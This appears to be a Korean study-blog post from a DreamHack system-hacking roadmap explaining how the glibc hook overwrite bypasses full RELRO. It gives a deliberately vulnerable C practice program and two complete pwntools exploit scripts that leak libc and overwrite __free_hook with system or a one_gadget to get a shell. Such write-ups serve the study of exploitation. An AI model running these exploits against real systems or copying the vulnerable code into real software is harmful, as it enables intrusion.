CIDY
[System_Hacking] stage8_Hook Overwrite 본문
훅 오버라이트는 full relro우회 기법이다. 일단 relro는 쓰기 권한을 조정하는 보호기법인데,
안 걸려있으면 뭐 아무데나 쓸 수 있는거고, partial relro면 .init_array랑 .fini_array 못 쓰고, full relro면 거기에다 got영역까지 못 쓰게 된다.
즉 got overwrite를 할 길이 막히게 되는건데, 이를 우회하는 방법이 Hook overwrite이다.
malloc, free, realloc을 통해 훅 오버라이트를 할 수 있는데...얘네 함수들은 각각 __malloc_hook. __free_hook, __realloc_hook이라는 훅 변수를 가진다. 각 함수들은 자기 훅 변수의 값이 NULL인지 검사 후 널이 아니면 malloc이나 free등 함수를 실행하기 전에 자신의 훅 변수가 가리키는 함수를 먼저 실행하게 된다. (이때 malloc이나 free에 준 인자는 각각의 훅 함수에 전달됨.)
얘네 훅 변수들이 어디 있는지가 포인트인데, 얘네들도 libc.so에 정의돼 있다. 근데 libc.so의 bss영역에 있음. -> 조작 가능
그러니까, 훅 변수를 system으로 덮어 malloc("/bin/sh")를 실행시키면, 위에서 malloc에 준 인자는 훅 함수에 전달된다고 했으니 system("/bin/sh")가 되는 거다.
요약 : full relro가 적용된 바이너리도 라이브러리 훅에는 쓰기권한이 남아있어서 공격 가능하다.
*예제
// 64-bit, canary, nx, pie, full relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
__free_hook같은 애들도 모두 립시에 있기 때문에 활용하기 위해서는 립시릭이 우선이다. 이 문제는 매우매우매우 친절하게도 addr 에 __free_hook을 넣고, value에 system을 넣고, 마지막에 binsh까지 보내주면 되도록 세팅되어 있다.
binsh역시 libc에서 찾아볼 수 있음을 알 것이다.
list(libc.search(b"/bin/sh))[0]
next(libc.search(b"/bin/sh))
로 찾을 수 있다. 물론 libc에 있으니까 당연히 베이스에 더해주면 되고.
풀이 1 :
from pwn import *
p = process("./hook")
e = ELF("./hook")
libc = e.libc
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)
start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00"))
p.recvn(1)
libc_base = start - 243 - libc.sym['__libc_start_main']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
binsh = libc_base + next(libc.search(b"/bin/sh"))
p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))
p.recvuntil(b"To free: ")
p.sendline(str(binsh))
p.interactive()
뭘 이용하는지만 달라졌을 뿐 비슷비슷하다.
풀이 2 :
from pwn import *
p = process("./hook")
e = ELF("./hook")
libc = e.libc
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)
start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00"))
p.recvn(1)
libc_base = start - 243 - libc.sym['__libc_start_main']
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
oneshot = libc_base + one_gadget[1]
p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(oneshot))
p.recvuntil(b"To free: ")
p.sendline(str(0x3333))
p.interactive()
2번은 원가젯 풀이다. 만약 이용할 free나 malloc이 검증조건에 의해 정수밖에 입력을 안 받는다거나..하면 인자로 /bin/sh를 넣기는 무리다. 인자를 안 받는 원가젯을 훅 변수가 가리키게 해서 풀 수도 있다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage8_문제풀이(oneshot) (0) | 2022.07.03 |
---|---|
[System_Hacking] stage8_문제풀이(fho) (0) | 2022.07.03 |
[System_Hacking] stage7_문제풀이(basic_rop_x86) (0) | 2022.07.02 |
[System_Hacking] stage7_문제풀이(basic_rop_x64) (0) | 2022.07.02 |
[System_Hacking] stage7_문제풀이(Return Oriented Programming) (0) | 2022.07.02 |